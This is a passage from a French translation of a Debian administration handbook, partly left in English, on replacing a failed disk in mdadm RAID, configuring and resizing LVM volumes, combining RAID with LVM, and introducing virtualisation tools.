-       0        0        1      removed

1       8       48        -      faulty   /dev/sde

Le contenu du volume reste accessible (et, s'il est monté, les applications ne s'aperçoivent de rien), mais la sécurité des données n'est plus assurée : si le disque sdd venait à tomber en panne, les données seraient perdues. Pour éviter ce risque, nous allons remplacer ce disque par un disque neuf, sdf :

# mdadm /dev/md1 --add /dev/sdf

mdadm: added /dev/sdf

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:25:34 2022

State : clean, degraded, recovering

Active Devices : 1

Working Devices : 2

Failed Devices : 1

Spare Devices : 1

Consistency Policy : resync

Rebuild Status : 47% complete

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 39

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      spare rebuilding   /dev/sdf

1       8       48        -      faulty   /dev/sde

# [...]

[...]

# mdadm --detail /dev/md1

/dev/md1:

Version : 1.2

Creation Time : Mon Feb 28 02:07:48 2022

Raid Level : raid1

Array Size : 4189184 (4.00 GiB 4.29 GB)

Used Dev Size : 4189184 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Mon Feb 28 02:25:34 2022

State : clean

Active Devices : 2

Working Devices : 2

Failed Devices : 1

Spare Devices : 0

Consistency Policy : resync

Name : debian:1  (local to host debian)

UUID : 2dfb7fd5:e09e0527:0b5a905a:8334adb8

Events : 41

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      active sync   /dev/sdf

1       8       48        -      faulty   /dev/sde

Ici encore, nous avons une phase de reconstruction, déclenchée automatiquement, pendant laquelle le volume, bien qu'accessible, reste en mode dégradé. Une fois qu'elle est terminée, le RAID revient dans son état normal. On peut alors signaler au système que l'on va retirer le disque sde de l'ensemble, pour se retrouver avec un miroir classique sur deux disques :

# mdadm /dev/md1 --remove /dev/sde

mdadm: hot removed /dev/sde from /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Number   Major   Minor   RaidDevice State

0       8       34        0      active sync   /dev/sdd2

2       8       64        1      active sync   /dev/sdf

Le disque pourra alors être démonté physiquement lors d'une extinction de la machine. Dans certaines configurations matérielles, les disques peuvent même être remplacés à chaud, ce qui permet de se passer de cette extinction. Parmi ces configurations, on trouvera certains contrôleurs SCSI, la plupart des systèmes SATA et les disques externes sur bus USB ou Firewire.

12.1.1.3. Sauvegarde de la configuration

Most of the meta-data concerning RAID volumes are saved directly on the disks that make up these arrays, so that the kernel can detect the arrays and their components and assemble them automatically when the system starts up. However, backing up this configuration is encouraged, because this detection isn't fail-proof, and it is only expected that it will fail precisely in sensitive circumstances. In our example, if the sde disk failure had been real (instead of simulated) and the system had been restarted without removing this sde disk, this disk could start working again due to having been probed during the reboot. The kernel would then have three physical elements, each claiming to contain half of the same RAID volume. In reality this leads to the RAID starting from the individual disks alternately - distributing the data also alternately, depending on which disk started the RAID in degraded mode Another source of confusion can come when RAID volumes from two servers are consolidated onto one server only. If these arrays were running normally before the disks were moved, the kernel would be able to detect and reassemble the pairs properly; but if the moved disks had been aggregated into an md1 on the old server, and the new server already has an md1, one of the mirrors would be renamed.

Il est donc important de sauvegarder la configuration, ne serait-ce qu'à des fins de référence. Pour cela, on éditera le fichier /etc/mdadm/mdadm.conf, dont un exemple est donné ci-dessous:

Exemple 12.1. Fichier de configuration de mdadm

# mdadm.conf

#

# !NB! Run update-initramfs -u after updating this file.

# !NB! This will ensure that initramfs has an uptodate copy.

#

# Please refer to mdadm.conf(5) for information about this file.

#

# by default (built-in), scan all partitions (/proc/partitions) and all

# containers for MD superblocks. alternatively, specify devices to scan, using

# wildcards if desired.

DEVICE /dev/sd*

# automatically tag new arrays as belonging to the local system

HOMEHOST <system>

# instruct the monitoring daemon where to send mail alerts

MAILADDR root

# definitions of existing MD arrays

ARRAY /dev/md/0  metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0

ARRAY /dev/md/1  metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

# This configuration was auto-generated on Mon, 28 Feb 2022 01:53:48 +0100 by mkconf

Une des informations les plus souvent utiles est l'option DEVICE, qui spécifie l'ensemble des périphériques sur lesquels le système va chercher automatiquement des composants de volumes RAID au démarrage. Nous avons ici remplacé la valeur implicite, partitions containers, par une liste explicite de fichiers de périphérique ; nous avons en effet choisi d'utiliser des disques entiers, et non simplement des partitions, pour certains volumes.

Les deux dernières lignes de notre exemple sont celles qui permettent au noyau de choisir en toute sécurité quel numéro de volume associer à quel ensemble. Les méta-informations stockées sur les disques sont en effet suffisantes pour reconstituer les volumes, mais pas pour en déterminer le numéro (donc le périphérique /dev/md* correspondant).

Fort heureusement, ces lignes peuvent être générées automatiquement :

# mdadm --misc --detail --brief /dev/md?

ARRAY /dev/md/0  metadata=1.2 UUID=a75ac628:b384c441:157137ac:c04cd98c name=debian:0

ARRAY /dev/md/1  metadata=1.2 UUID=2dfb7fd5:e09e0527:0b5a905a:8334adb8 name=debian:1

Le contenu de ces deux dernières lignes ne dépend pas de la liste des disques qui composent les volumes. On pourra donc se passer de les régénérer si l'on remplace un disque défectueux par un neuf. En revanche, il faudra prendre soin de les mettre à jour après chaque création ou suppression de volume.

12.1.2. LVM

LVM, ou Logical Volume Manager, est une autre approche servant à abstraire les volumes logiques des disques physiques. Le but principal n'était pas ici de gagner en fiabilité des données mais en souplesse d'utilisation. LVM permet en effet de modifier dynamiquement un volume logique, en toute transparence du point de vue des applications. Par exemple, on peut ainsi ajouter de nouveaux disques, migrer les données dessus et récupérer les anciens disques ainsi libérés, sans démonter le volume.

12.1.2.1. Concepts de LVM

LVM manipule trois types de volumes pour atteindre cette flexibilité.

Premièrement, les PV ou physical volumes sont les entités les plus proches du matériel : il peut s'agir de partitions sur des disques ou de disques entiers, voire de n'importe quel périphérique en mode bloc (y compris, par exemple, un volume RAID). Attention, lorsqu'un élément physique est initialisé en PV pour LVM, il ne faudra plus l'utiliser directement, sous peine d'embrouiller le système.

A number of PVs can be clustered in a VG (Volume Group), which can be compared to disks both virtual and extensible. VGs are abstract, and don't appear in a device file in the /dev hierarchy, so there is no risk of using them directly.

Enfin, les LV (logical volumes) sont des subdivisions des VG, que l'on peut comparer à des partitions sur les disques virtuels que les VG représentent. Ces LV deviennent des périphériques, que l'on peut utiliser comme toute partition physique (par exemple pour y établir des systèmes de fichiers).

Il faut bien réaliser que la subdivision d'un groupe de volumes en LV est entièrement décorrélée de sa composition physique (les PV). On peut ainsi avoir un VG subdivisé en une douzaine de volumes logiques tout en ne comportant qu'un volume physique (un disque, par exemple), ou au contraire un seul gros volume logique réparti sur plusieurs disques physiques ou partitions. La seule contrainte, bien entendu, est que la somme des tailles des LV d'un groupe ne doive pas excéder la capacité totale des PV qui le composent.

En revanche, il est souvent utile de grouper dans un même VG des éléments physiques présentant des caractéristiques similaires et de subdiviser ce VG en volumes logiques qui seront utilisés de manière comparable également. Par exemple, si l'on dispose de disques rapides et de disques lents, on pourra regrouper les rapides dans un VG et les plus lents dans un autre. Les subdivisions logiques du premier VG pourront alors être affectées à des tâches nécessitant de bonnes performances, celles du second étant réservées aux tâches qui peuvent se contenter de vitesses médiocres.

Dans tous les cas, il faut également garder à l'esprit qu'un LV n'est pas accroché à un PV ou un autre. Même si on peut influencer l'emplacement physique où les données d'un LV sont écrites, en fonctionnement normal c'est une information qui n'a pas d'intérêt particulier. Au contraire : lors d'une modification des composants physiques d'un groupe, les LV peuvent être amenés à se déplacer (tout en restant, bien entendu, confinés aux PV qui composent ce groupe).

12.1.2.2. Mise en place de LVM

Nous allons suivre pas à pas une utilisation typique de LVM, pour simplifier une situation complexe. De telles situations sont souvent le résultat d'un historique chargé, où des solutions temporaires se sont accumulées au fil du temps. Considérons donc pour notre exemple un serveur dont les besoins en stockage ont varié et pour lequel on se retrouve avec une configuration complexe de partitions disponibles, morcelées sur différents disques hétéroclites et partiellement utilisés. Concrètement, on dispose des partitions suivantes :

- sur le disque sdb, une partition sdb2 de 4 Go ;

- sur le disque sdc, une partition sdc3 de 3 Go ;

- le disque sdd, de 4 Go, est entièrement disponible ;

- sur le disque sdf, une partition sdf1 de 4 Go et une sdf2 de 5 Go.

On notera de plus que les disques sdb et sdf ont de meilleures performances que les deux autres.

Le but de la manœuvre est de mettre en place trois volumes logiques distincts, pour trois applications séparées : un serveur de fichiers (qui nécessite 5 Go), une base de données (1 Go) et un emplacement pour les sauvegardes (12 Go). Les deux premières ont de forts besoins de performance, mais pas la troisième, qui est moins critique. Ces contraintes empêchent l'utilisation des partitions isolément ; l'utilisation de LVM permet de s'affranchir des limites imposées par leurs tailles individuelles, pour n'être limité que par leur capacité totale.

Le prérequis est le paquet lvm2 (et ses dépendances). Lorsque ce paquet est installé, la mise en place de LVM se fait en trois étapes, correspondant aux trois couches de LVM.

Commençons par préparer les volumes physiques à l'aide de pvcreate :

# pvcreate /dev/sdb2

Physical volume "/dev/sdb2" successfully created.

# pvdisplay

"/dev/sdb2" is a new physical volume of "4.00 GiB"

--- NEW Physical volume ---

PV Name               /dev/sdb2

VG Name

PV Size               4.00 GiB

Allocatable           NO

PE Size               0

Total PE              0

Free PE               0

Allocated PE          0

PV UUID               yK0K6K-clbc-wt6e-qk9o-aUh9-oQqC-k1T71B

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created.

Physical volume "/dev/sdd" successfully created.

Physical volume "/dev/sdf1" successfully created.

Physical volume "/dev/sdf2" successfully created.

# pvdisplay -C

PV         VG Fmt  Attr PSize PFree

/dev/sdb2     lvm2 ---  4.00g 4.00g

/dev/sdc3     lvm2 ---  3.00g 3.00g

/dev/sdd      lvm2 ---  4.00g 4.00g

/dev/sdf1     lvm2 ---  4.00g 4.00g

/dev/sdf2     lvm2 ---  5.00g 5.00g

Rien de bien sorcier jusqu'à présent ; on remarquera que l'on peut établir un PV aussi bien sur un disque entier que sur des partitions. Comme on le constate, la commande pvdisplay est capable de lister les PV déjà établis, sous deux formes.

Constituons à présent des groupes de volumes (VG) à partir de ces éléments physiques, à l'aide de la commande vgcreate. Nous allons placer dans le VG vg_critique uniquement des PV appartenant à des disques rapides ; le deuxième VG, vg_normal, contiendra des éléments physiques plus lents.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created

# vgdisplay

--- Volume group ---

VG Name               vg_critical

System ID

Format                lvm2

Metadata Areas        2

Metadata Sequence No  1

VG Access             read/write

VG Status             resizable

MAX LV                0

Cur LV                0

Open LV               0

Max PV                0

Cur PV                2

Act PV                2

VG Size               7.99 GiB

PE Size               4.00 MiB

Total PE              2046

Alloc PE / Size       0 / 0

Free  PE / Size       2046 / 7.99 GiB

VG UUID               JgFWU3-emKg-9QA1-stPj-FkGX-mGFb-4kzy1G

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created

# vgdisplay -C

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   2   0   0 wz--n-   7.99g   7.99g

vg_normal     3   0   0 wz--n- <11.99g <11.99g

Ici encore, les commandes sont relativement simples (et vgdisplay présente deux formats de sortie). Notons que rien n'empêche de placer deux partitions d'un même disque physique dans deux VG différents ; le préfixe vg_ utilisé ici est une convention, mais n'est pas obligatoire.

We now have two “virtual disks”, sized about 8 GB and 12 GB respectively. Let's now carve them up into “virtual partitions” (LVs). This involves the lvcreate command, and a slightly more complex syntax:

# lvdisplay

# lvcreate -n lv_files -L 5G vg_critical

Logical volume "lv_files" created.

# lvdisplay

--- Logical volume ---

LV Path                /dev/vg_critical/lv_files

LV Name                lv_files

VG Name                vg_critical

LV UUID                Nr62xe-Zu7d-0u3z-Yyyp-7Cj1-Ej2t-gw04Xd

LV Write Access        read/write

LV Creation host, time debian, 2022-03-01 00:17:46 +0100

LV Status              available

# open                 0

LV Size                5.00 GiB

Current LE             1280

Segments               2

Allocation             inherit

Read ahead sectors     auto

- currently set to     256

Block device           253:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created.

# lvcreate -n lv_backups -L 11.98G vg_normal

Rounding up size to full physical extent 11.98 GiB

Rounding up size to full physical extent 11.98 GiB

Logical volume "lv_backups" created.

# lvdisplay -C

LV         VG          Attr       LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_base    vg_critical -wi-a-----  1.00g

lv_files   vg_critical -wi-a-----  5.00g

lv_backups vg_normal   -wi-a----- 11.98g

Deux informations sont obligatoires lors de la création des volumes logiques et doivent être passées sous forme d'options à lvcreate. Le nom du LV à créer est spécifié par l'option -n et sa taille est en général spécifiée par -L. Évidemment, il faut également expliciter à l'intérieur de quel groupe de volumes on souhaite créer le LV, d'où le dernier paramètre de la ligne de commande.

POUR ALLER PLUS LOIN Options de lvcreate

La commande lvcreate propose plusieurs options influençant la manière dont le LV est créé.

Notons tout d'abord l'existence de l'option -l, qui permet de spécifier la taille du LV à créer non pas en unités « humaines » comme nous l'avons fait dans nos exemples, mais en nombre de blocs. Ces blocs (appelés PE, pour physical extents) sont des unités contiguës de stockage, qui font partie des PV et qui ne sont pas divisibles entre LV. Si l'on souhaite définir précisément l'espace alloué à un LV, par exemple pour utiliser totalement l'espace disponible sur un VG, on pourra préférer utiliser -l plutôt que -L.

It is also possible to hint at the physical location of an LV, so that its extents are stored on a particular PV (while staying within the ones assigned to the VG, of course). Since we know that sdb is faster than sdf, we may want to store the lv_base there if we want to give an advantage to the database server compared to the file server. The command line becomes: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note that this command can fail if the PV doesn't have enough free extents. In our example, we would probably have to create lv_base before lv_files to avoid this situation – or free up some space on sdb2 with the pvmove command.

Les volumes logiques, une fois créés, sont représentés par des fichiers de périphériques situés dans /dev/mapper/ :

# ls -l /dev/mapper

total 0

crw------- 1 root root 10, 236 Mar  1 00:17 control

lrwxrwxrwx 1 root root       7 Mar  1 00:19 vg_critical-lv_base -> ../dm-1

lrwxrwxrwx 1 root root       7 Mar  1 00:17 vg_critical-lv_files -> ../dm-0

lrwxrwxrwx 1 root root       7 Mar  1 00:19 vg_normal-lv_backups -> ../dm-2

# ls -l /dev/dm-*

brw-rw---- 1 root disk 253, 0 Mar  1 00:17 /dev/dm-0

brw-rw---- 1 root disk 253, 1 Mar  1 00:19 /dev/dm-1

brw-rw---- 1 root disk 253, 2 Mar  1 00:19 /dev/dm-2

NOTE Auto-detecting LVM volumes

Lors du démarrage de l'ordinateur, le service systemd lvm2-activation lance la commande vgchange -aay pour activer les groupes de volumes. Pour cela, il effectue un balayage des périphériques disponibles ; ceux qui ont été préparés comme des volumes physiques pour LVM sont alors répertoriés auprès du sous-système LVM, ceux qui font partie de groupes de volumes sont assemblés et les volumes logiques sont mis en fonctionnement. Il n'est donc pas nécessaire de modifier des fichiers de configuration lors de la création ou de l'altération de volumes LVM.

On notera cependant que la disposition des divers éléments impliqués dans LVM est stockée dans /etc/lvm/backup, ce qui peut servir en cas de problème, ou bien pour aller voir ce qui se passe sous le capot.

Pour faciliter les choses, des liens symboliques sont également créés automatiquement dans des répertoires correspondant aux VG :

# ls -l /dev/vg_critical

total 0

lrwxrwxrwx 1 root root 7 Mar  1 00:19 lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 Mar  1 00:17 lv_files -> ../dm-0

# ls -l /dev/vg_normal

total 0

lrwxrwxrwx 1 root root 7 Mar  1 00:19 lv_backups -> ../dm-2

On peut dès lors utiliser les LV tout comme on utiliserait des partitions classiques :

# mkfs.ext4 /dev/vg_normal/lv_backups

mke2fs 1.46.2 (28-Feb-2021)

Discarding device blocks: done

Creating filesystem with 3140608 4k blocks and 786432 inodes

Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/backups

# mount /dev/vg_normal/lv_backups /srv/backups

# df -h /srv/backups

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_normal-lv_backups   12G   24K   12G   1% /srv/backups

# [...]

[...]

# cat /etc/fstab

[...]

/dev/vg_critical/lv_base    /srv/base       ext4 defaults 0 2

/dev/vg_critical/lv_files   /srv/files      ext4 defaults 0 2

/dev/vg_normal/lv_backups   /srv/backups    ext4 defaults 0 2

On s'est ainsi abstrait, du point de vue applicatif, de la myriade de petites partitions, pour se retrouver avec une seule partition de 12 Go.

12.1.2.3. LVM au fil du temps

Cette capacité à agréger des partitions ou des disques physiques n'est pas le principal attrait de LVM. La souplesse offerte se manifeste surtout au fil du temps, lorsque les besoins évoluent. Supposons par exemple que de nouveaux fichiers volumineux doivent être stockés et que le LV dévolu au serveur de fichiers ne suffise plus. Comme nous n'avons pas utilisé l'intégralité de l'espace disponible dans vg_critique, nous pouvons étendre lv_fichiers. Nous allons pour cela utiliser la commande lvresize pour étendre le LV, puis resize2fs pour ajuster le système de fichiers en conséquence :

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  4.9G  4.2G  485M  90% /srv/files

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 5.00g

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1.99g

# lvresize -L 6G vg_critical/lv_files

Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents).

Logical volume vg_critical/lv_files successfully resized.

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 6.00g

# resize2fs /dev/vg_critical/lv_files

resize2fs 1.46.2 (28-Feb-2021)

Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required

old_desc_blocks = 1, new_desc_blocks = 1

The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long.

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  5.9G  4.2G  1.5G  75% /srv/files

ATTENTION Retaillage de systèmes de fichiers

Not all filesystems can be resized online; resizing a volume can therefore require unmounting the filesystem first and remounting it afterwards. Of course, if one wants to shrink the space allocated to an LV, the filesystem must be shrunk first; the order is reversed when the resizing goes in the other direction: the logical volume must be grown before the filesystem on it. It is rather straightforward, since at no time must the filesystem size be larger than the block device where it resides (whether that device is a physical partition or a logical volume).

Dans le cas du système ext3 ou ext4, on peut procéder à l'extension (mais pas la réduction) du système sans le démonter. Le système xfs est dans le même cas. reiserfs permet le retaillage dans les deux sens. ext2 n'en permet aucun et nécessite toujours un démontage.

On pourrait procéder de même pour étendre le volume qui héberge la base de données, mais on arrive à la limite de la capacité du VG :

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  974M  883M   25M  98% /srv/base

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1016.00m

No matter, since LVM allows adding physical volumes to existing volume groups. For instance, maybe we've noticed that the sdb3 partition, which was so far used outside of LVM, only contained archives that could be moved to lv_backups. We can now recycle it and integrate it to the volume group, and thereby reclaim some available space. This is the purpose of the vgextend command. Of course, the partition must be prepared as a physical volume beforehand. Once the VG has been extended, we can use similar commands as previously to grow the logical volume then the filesystem:

# pvcreate /dev/sdb3

Physical volume "/dev/sdb3" successfully created.

# vgextend vg_critical /dev/sdb3

Volume group "vg_critical" successfully extended

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   3   2   0 wz--n- <12.99g <5.99g

# lvresize -L 2G vg_critical/lv_base

[...]

# resize2fs /dev/vg_critical/lv_base

[...]

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  2.0G  886M  991M  48% /srv/base

POUR ALLER PLUS LOIN LVM avancé

LVM also caters for more advanced uses, where many details can be specified by hand. For instance, an administrator can tweak the size of the blocks that make up physical and logical volumes, as well as their physical layout. It is also possible to move blocks across PVs, for instance, to fine-tune performance or, in a more mundane way, to free a PV when one needs to extract the corresponding physical disk from the VG (whether to affect it to another VG or to remove it from LVM altogether). The manual pages describing the commands are generally clear and detailed. A good entry point is the lvm(8) manual page.

12.1.3. RAID ou LVM ?

Les apports de RAID et LVM sont indéniables dès que l'on s'éloigne d'un poste bureautique simple, à un seul disque dur, dont l'utilisation ne change pas dans le temps. Cependant, RAID et LVM constituent deux directions différentes, chacune ayant sa finalité, et l'on peut se demander lequel de ces systèmes adopter. La réponse dépendra des besoins, présents et futurs.

Dans certains cas simples, la question ne se pose pas vraiment. Si l'on souhaite immuniser des données contre des pannes de matériel, on ne pourra que choisir d'installer du RAID sur un ensemble redondant de disques, puisque LVM ne répond pas à cette problématique. Si au contraire il s'agit d'assouplir un schéma de stockage et de rendre des volumes indépendants de l'agencement des disques qui les composent, RAID ne pourra pas aider et l'on choisira donc LVM.

NOTE Si les performances comptent…

If input/output speed is of the essence, especially in terms of access times, using LVM and/or RAID in one of the many combinations may have some impact on performances, and this may influence decisions as to which to pick. However, these differences in performance are really minor, and will only be measurable in a few use cases. If performance matters, the best gain to be obtained would be to use non-rotating storage media (solid-state drives or SSDs); their cost per megabyte is higher than that of standard hard disk drives, and their capacity is usually smaller, but they provide excellent performance for random accesses. If the usage pattern includes many input/output operations scattered all around the filesystem, for instance for databases where complex queries are routinely being run, then the advantage of running them on an SSD far outweigh whatever could be gained by picking LVM over RAID or the reverse. In these situations, the choice should be determined by other considerations than pure speed, since the performance aspect is most easily handled by using SSDs.

Un troisième cas est celui où l'on souhaite juste agréger deux disques en un, que ce soit pour des raisons de performance ou pour disposer d'un seul système de fichiers plus gros que chacun des disques dont on dispose. Ce problème peut être résolu aussi bien par la mise en place d'un ensemble RAID-0 (voire linéaire) que par un volume LVM. Dans cette situation, à moins de contraintes spécifiques (par exemple pour rester homogène avec le reste du parc informatique qui n'utilise que RAID), on choisira le plus souvent LVM. La mise en place initiale est légèrement plus complexe, mais elle est un bien maigre investissement au regard de la souplesse offerte par la suite, si les besoins changent ou si l'on désire ajouter des disques.

Vient enfin le cas le plus intéressant, celui où l'on souhaite concilier de la tolérance de pannes et de la souplesse dans l'allocation des volumes. Chacun des deux systèmes étant insuffisant pour répondre à ces besoins, on va devoir faire appel aux deux en même temps — ou plutôt, l'un après l'autre. L'usage qui se répand de plus en plus depuis la maturité des deux systèmes est d'assurer la sécurité des données d'abord, en groupant des disques redondants dans un petit nombre de volumes RAID de grande taille, et d'utiliser ces volumes RAID comme des éléments physiques pour LVM pour y découper des partitions qui seront utilisées pour des systèmes de fichiers. Ceci permet, en cas de défaillance d'un disque, de n'avoir qu'un petit nombre d'ensembles RAID à reconstruire, donc de limiter le temps d'administration.

Let's take a concrete example: the public relations department at Falcot Corp needs a workstation for video editing, but the department's budget doesn't allow investing in high-end hardware from the bottom up. A decision is made to favor the hardware that is specific to the graphic nature of the work (monitor and video card), and to stay with generic hardware for storage. However, as is widely known, digital video does have some particular requirements for its storage: the amount of data to store is large, and the throughput rate for reading and writing this data is important for the overall system performance (more than typical access time, for instance). These constraints need to be fulfilled with generic hardware, in this case two 300 GB SATA hard disk drives; the system data must also be made resistant to hardware failure, as well as some of the user data. Edited video clips must indeed be safe, but video rushes pending editing are less critical, since they're still on the videotapes.

Le choix se porte donc sur une solution combinant RAID-1 et LVM. Les deux disques sont montés sur deux contrôleurs SATA différents (afin d'optimiser les accès parallèles et limiter les risques de panne simultanée) et apparaissent donc comme sda et sdc. Le schéma de partitionnement, identique sur les deux disques, sera le suivant :

# sfdisk -l /dev/sda

Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors

Disk model: SAMSUNG MZ7LM960

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: gpt

Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012

Device         Start        End   Sectors   Size Type

/dev/sda1        2048       4095      2048     1M BIOS boot

/dev/sda2        4096  100667391 100663296    48G Linux RAID

/dev/sda3   100667392  134221823  33554432    16G Linux RAID

/dev/sda4   134221824  763367423 629145600   300G Linux RAID

/dev/sda5   763367424 1392513023 629145600   300G Linux RAID

/dev/sda6  1392513024 1875384974 482871951 230.3G Linux LVM

- The first partitions of both disks are BIOS boot partitions.

- The next two partitions sda2 and sdc2 (about 48 GB) are assembled into a RAID-1 volume, md0. This mirror is directly used to store the root filesystem.

- The sda3 and sdc3 partitions are assembled into a RAID-0 volume, md1, and used as swap partition, providing a total 32 GB of swap space. Modern systems can provide plenty of RAM and our system won't need hibernation. So with this amount added, our system will unlikely run out of memory.

- The sda4 and sdc4 partitions, as well as sda5 and sdc5, are assembled into two new RAID-1 volumes of about 300 GB each, md2 and md3. Both these mirrors are initialized as physical volumes for LVM, and assigned to the vg_raid volume group. This VG thus contains about 600 GB of safe space.

- The remaining partitions, sda6 and sdc6, are directly used as physical volumes, and assigned to another VG called vg_bulk, which therefore ends up with roughly 460 GB of space.

Une fois les VG établis, il devient possible de les découper de manière très flexible, en gardant à l'esprit que les LV qui seront créés dans vg_raid seront préservés même en cas de panne d'un des deux disques, à l'opposé des LV pris sur vg_vrac ; en revanche, ces derniers seront alloués en parallèle sur les deux disques, ce qui permettra des débits élevés lors de la lecture ou de l'écriture de gros fichiers.

We will therefore create the lv_var and lv_home LVs on vg_raid, to host the matching filesystems; another large LV, lv_movies, will be used to host the definitive versions of movies after editing. The other VG will be split into a large lv_rushes, for data straight out of the digital video cameras, and a lv_tmp for temporary files. The location of the work area is a less straightforward choice to make: while good performance is needed for that volume, is it worth risking losing work if a disk fails during an editing session? Depending on the answer to that question, the relevant LV will be created on one VG or the other.

We now have both some redundancy for important data and much flexibility in how the available space is split across the applications.

NOTE Pourquoi trois volumes RAID-1 ?

On aurait fort bien pu se contenter d'un seul volume RAID-1, qui servirait de volume physique pour vg_raid. Pourquoi donc en avoir créé trois ?

La décision de séparer le premier miroir des deux autres est motivée par des considérations de sécurité des données. En effet, en RAID-1, les données écrites sur les disques sont strictement identiques ; il est donc possible de monter un seul disque directement, sans passer par la couche RAID. En cas de problème dans le noyau, par exemple, ou de corruption des métadonnées LVM, on peut ainsi démarrer un système minimal (sans les applications ou les données) et récupérer des données cruciales, par exemple l'agencement des disques dans les volumes RAID, et surtout dans les ensembles LVM ; on peut ainsi reconstruire les métadonnées et récupérer les fichiers, ce qui permettra de remettre le système dans un état opérationnel.

The rationale for the second split (md2 vs. md3) is less clear-cut, and more related to acknowledging that the future is uncertain. When the workstation is first assembled, the exact storage requirements are not necessarily known with perfect precision; they can also evolve over time. In our case, we can't know in advance the actual storage space requirements for video rushes and complete video clips. If one particular clip needs a very large amount of rushes, and the VG dedicated to redundant data is less than halfway full, we can re-use some of its unneeded space. We can remove one of the physical volumes, say md3, from vg_raid and either assign it to vg_bulk directly (if the expected duration of the operation is short enough that we can live with the temporary drop in performance), or undo the RAID setup on md3 and integrate its components sda5 and sdc5 into the bulk VG (which grows by 600 GB instead of 300 GB); the lv_rushes logical volume can then be grown according to requirements.

12.2. Virtualisation

La virtualisation est une des évolutions majeures de ces dernières années en informatique. Ce terme regroupe différentes abstractions simulant des machines virtuelles de manière plus ou moins indépendante du matériel. On peut ainsi obtenir, sur un seul ordinateur physique, plusieurs systèmes fonctionnant en même temps et de manière isolée. Les applications sont multiples et découlent souvent de cette isolation des différentes machines virtuelles : on peut par exemple se créer plusieurs environnements de test selon différentes configurations, ou héberger des services distincts sur des machines (virtuelles) distinctes pour des raisons de sécurité.

Il existe différentes mises en œuvre pour la virtualisation, chacune ayant ses avantages et ses inconvénients. Nous allons nous concentrer sur Xen, LXC et KVM, mais on peut aussi citer, à titre d'exemple :

- QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.
→ https://qemu.org/

- Bochs est une autre machine virtuelle libre mais elle n'émule que les architectures x86 (i386 et amd64).

- VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as “snapshotting“ a running virtual machine.
→ https://vmware.com/

- VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some “snapshotting“ and other interesting features.
→ https://www.virtualbox.org/

HARDWARE Virtualization support

Some computers might not have hardware virtualization support; when they do, it should be enabled in the BIOS.

To know if you have virtualization support enabled, you can check if the relevant flag is enabled with grep. If the following command for your processor returns some text, you already have virtualization support enabled:

- For Intel processors you can execute grep vmx /proc/cpuinfo to check for Intel's Virtual Machine Extensions.

